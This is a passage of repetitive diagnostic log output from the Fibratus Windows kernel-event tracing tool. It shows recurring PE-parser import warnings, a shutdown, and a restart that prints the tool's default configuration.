level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:45+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:48+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:52:49+01:00 level=info msg=got signal "interrupt", shutting down... source=signals/signals.go:39 +time=2025-11-11T14:52:50+01:00 level=info msg=stopping [NT Kernel Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:52:51+01:00 level=info msg=stopping [System Registry Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:52:52+01:00 level=info msg=stopping [DNS Client Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:52:53+01:00 level=info msg=stopping [Kernel Audit API Calls Logger] trace processing source=etw/source.go:235 +time=2025-11-11T14:54:39+01:00 level=info msg=configuration file C:\Program Files\fibratus\config\fibratus.yml not found. Continuing with default settings... source=bootstrap/config.go:50 +time=2025-11-11T14:54:39+01:00 level=info msg=rule engine is disabled source=bootstrap/bootstrap.go:152 +time=2025-11-11T14:54:39+01:00 level=info msg=bootstrapping with pid 19276. Version: dev source=bootstrap/bootstrap.go:182 +time=2025-11-11T14:54:39+01:00 level=info msg=rendering config flags... + aggregator ..................... [ flush-period=>200ms flush-timeout=>4s] + alertsenders ................... [ systray=>[ sound=>true quiet-mode=>false enabled=>true] eventlog=>[ verbose=>false enabled=>true] mail=>[ use-template=>true content-type=>text/html enabled=>false to=>[] port=>25] slack=>[ enabled=>false]] + api ............................ [ timeout=>15s transport=>localhost:8080] + config-file .................... C:\Program Files\fibratus\config\fibratus.yml + debug-privilege ................ true + filament ....................... [ path=>C:\Program Files\fibratus\filaments] + filters ........................ [ rules=>[ enabled=>true from-paths=>[C:\Fibratus\fibratus\cmd\Rules\*] from-urls=>[]] macros=>[ from-paths=>[C:\Fibratus\fibratus\cmd\Rules\Macros\*]]] + forward ........................ true + handle ......................... [ init-snapshot=>false enumerate-handles=>false] + kevent ......................... [ serialize-handles=>false serialize-envs=>true serialize-images=>false serialize-threads=>false serialize-pe=>false] + kstream ........................ [ enable-image=>true enable-audit-api=>true enable-handle=>false enable-net=>true buffer-size=>512 max-buffers=>36 enable-fileio=>true flush-interval=>1s enable-mem=>true enable-dns=>true stack-enrichment=>true enable-registry=>true enable-thread=>true enable-vamap=>true min-buffers=>16 blacklist=>[ events=>[] images=>[]]] + logging ........................ [ max-age=>0 max-backups=>15 max-size=>100 log-stdout=>true formatter=>text level=>info] + output ......................... [ http=>[ endpoints=>[] tls-insecure-skip-verify=>false serializer=>json method=>POST enabled=>false enable-gzip=>false timeout=>5s] elasticsearch=>[ servers=>[http://127.0.0.1:9200] flush-period=>1s enabled=>false index-name=>fibratus trace-log=>false timeout=>5s bulk-workers=>1 gzip-compression=>false sniff=>false template-name=>fibratus healthcheck=>true healthcheck-timeout=>5s healthcheck-interval=>10s] amqp=>[ durable=>false passive=>false tls-insecure-skip-verify=>false timeout=>5s exchange=>fibratus exchange-type=>topic url=>amqp://localhost:5672 vhost=>/ enabled=>false routing-key=>fibratus delivery-mode=>transient] console=>[ format=>pretty template=> {{ .Seq }} {{ .Timestamp }} - {{ .CPU }} {{ .Process }} ({{ .Pid }}) - {{ .Type }} ({{ .Kparams }}) {{ .Callstack }} {{ .Sid }} enabled=>true] eventlog=>[ enabled=>false level=>info]] + pe ............................. [ read-symbols=>false enabled=>false read-sections=>false excluded-images=>[] read-resources=>false] + symbol-paths ................... srv*c:\\SymCache*https://msdl.microsoft.com/download/symbols + symbolize-kernel-addresses ..... true + transformers ................... [ remove=>[ kparams=>[] enabled=>false] tags=>[ enabled=>false] trim=>[ enabled=>false] replace=>[ enabled=>false] rename=>[ enabled=>false]] + yara ........................... [ alert-via=>mail fastscan=>true excluded-files=>[] enabled=>false alert-template=>[] excluded-procs=>[] scan-timeout=>10s skip-files=>true] source=bootstrap/bootstrap.go:183 +time=2025-11-11T14:54:39+01:00 level=info msg=system providers support detected source=etw/source.go:165 +time=2025-11-11T14:54:41+01:00 level=info msg=starting [NT Kernel Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:54:41+01:00 level=info msg=starting [System Registry Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:54:41+01:00 level=info msg=starting [DNS Client Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:54:41+01:00 level=info msg=starting [Kernel Audit API Calls Logger] trace processing source=etw/source.go:224 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:46+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, reason: reading data outside boundary, file: source=pe/parser.go:239 +time=2025-11-11T14:54:47+01:00 level=warning msg=failed to parse data directory Import, 